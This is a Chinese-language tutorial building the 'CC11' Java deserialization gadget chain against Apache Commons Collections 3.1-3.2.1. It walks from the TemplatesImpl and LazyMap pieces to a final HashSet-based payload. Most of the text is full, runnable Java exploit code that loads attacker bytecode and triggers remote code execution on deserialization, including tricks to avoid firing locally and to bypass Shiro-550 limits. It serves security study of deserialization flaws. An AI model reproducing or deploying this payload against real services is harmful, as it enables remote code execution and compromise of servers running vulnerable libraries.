'Java反序列化-cc11'

前言

环境依旧还是 CommonsCollections 3.1-3.2.1

像是 cc2 和 cc6 的杂交,除了 CC1-7 的链子,剩下的链子都可以通过结合产生 CC-N。

利用链分析

1
2
3
4
5
6
7
8
9
10
11
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
... templates gadgets ...
java.lang.Runtime.exec()

cc2的尾部链子(TemplatesImpl 链)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

然后看cc6的lazyMap

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa");

结合使用,调用getValue
instantiateTransformer 改为 InvokerTransformer

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
        TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, chainedTransformer);

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa");
TiedMapget.getValue();

然后再看cc6的入口部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class CC11Test {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
//调用TemplatesImpl的newTransformer()方法
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1));
//利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, "aaa");
// TiedMapget.getValue();
HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"bbbb");
LazydecorateMap.remove("aaa");

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(LazydecorateMap, chainedTransformer);

// serialize(HashMap1);
unserialization("./2.ser");



}


public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

至此,构建了cc6+cc2的链子。但实际上cc11的链子是不带Transformer 数组的
(因为CC11想要干的是不带Transformer数组的链子,其实就是为了规避Shiro-550反序列化时的一个问题:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。)

不带 Transformer 数组的 CC11 链子

LazyMap#get 的参数 key,会被传进transform(),实际上它可以扮演 ConstantTransformer 的角色————一个简单的对象传递者。

我们 LazyMap.get(key) 直接调用 InvokerTransfomer.transform(key),然后像CC2那样调用 TempalteImpl.newTransformer() 来完成后续调用。

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};


//替换为如下代码
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

后续利用反射,调用InvokernewTransformer。

修改后的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC11Gai {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
//调用TemplatesImpl的newTransformer()方法

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, new ConstantTransformer(1)); //防止序列化调用,先改为一个无意义的
//利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, templates);
// TiedMapget.getValue();
HashMap<Object, Object> HashMap1 = new HashMap<>();
HashMap1.put(TiedMapget,"bbbb");
LazydecorateMap.remove(templates);

//反射调用修改值
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(LazydecorateMap, invokerTransformer);

// serialize(HashMap1);
unserialization("./2.ser");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

最终链子(入口类)

HashMap.put()之后的链子都梳理完毕了,但是我们还差入口类。

看一下HashSet#readObject

1
2
3
4
5
6
// Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT);
}

我们要控制e这个参数。让它put进去,然后执行后续的攻击链,而这里 e 是根据 s 反序列化得来的。

我们查看对应序列化的方法 ,如果我们能控制 HashSet 的 map 属性中的 key 那么就能触发 RCE。

利用反射控制HashSet的属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
HashSet hashset = new HashSet(1);
hashset.add("zer0");
//这里必须通过反射设置key值为tiedmap,如果通过hashset.add(tiedmap)就会本地触发利用链(但不会执行),并异常退出。
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(hashset_map);

Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, TiedMapget);


最后利用反射修改我们之前 InvokerTransformer 中的 iMethodName属性(这样是为了防止我们在生成 payload 的时候触发 RCE,在前面的几条链中也会这么操作,有的时候在本地触发 RCE 之后会导致数值改变然后在服务端就无法触发 RCE 了)

1
2
3
Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer, "newTransformer");

最终的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11Gai {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();

Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"zer0");

Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("F:\\code\\CCTest\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = aClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
//调用TemplatesImpl的newTransformer()方法

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

// ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map LazydecorateMap = LazyMap.decorate(objectObjectHashMap, invokerTransformer);
//利用LazyMap的get()来触发transform()。TiedMapEntry类的getValue()调用LazyMap的get()方法

TiedMapEntry TiedMapget = new TiedMapEntry(LazydecorateMap, templates);
// TiedMapget.getValue();

// HashMap<Object, Object> HashMap1 = new HashMap<>();
// HashMap1.put(TiedMapget,"bbbb");
// LazydecorateMap.remove(templates);
//
// //反射调用修改值
// Class c = LazyMap.class;
// Field factoryField = c.getDeclaredField("factory");
// factoryField.setAccessible(true);
// factoryField.set(LazydecorateMap, invokerTransformer);
HashSet hashset = new HashSet(1);
hashset.add("zer0"); //无意义,为了调用map.get进入到HashMap put
//这里必须通过反射设置key值为tiedmap,如果通过hashset.add(TiedMapget)就会本地触发利用链(但不会执行),并异常退出。
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);
//操纵hashSet的Map 。public HashSet() { map = new HashMap<>(); }

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(hashset_map);
//操纵hashMap的table。if ((tab = table) == null || (n = tab.length) == 0)

Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, TiedMapget);
//操纵HashMap的key,return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

Field f3 = invokerTransformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(invokerTransformer, "newTransformer");

// serialize(hashset);
unserialization("./2.ser");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("./2.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
// System.out.println(obj);
}

public static Object unserialization(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

读class加载恶意类这里,最后还可以利用javasist动态创建恶意字节码。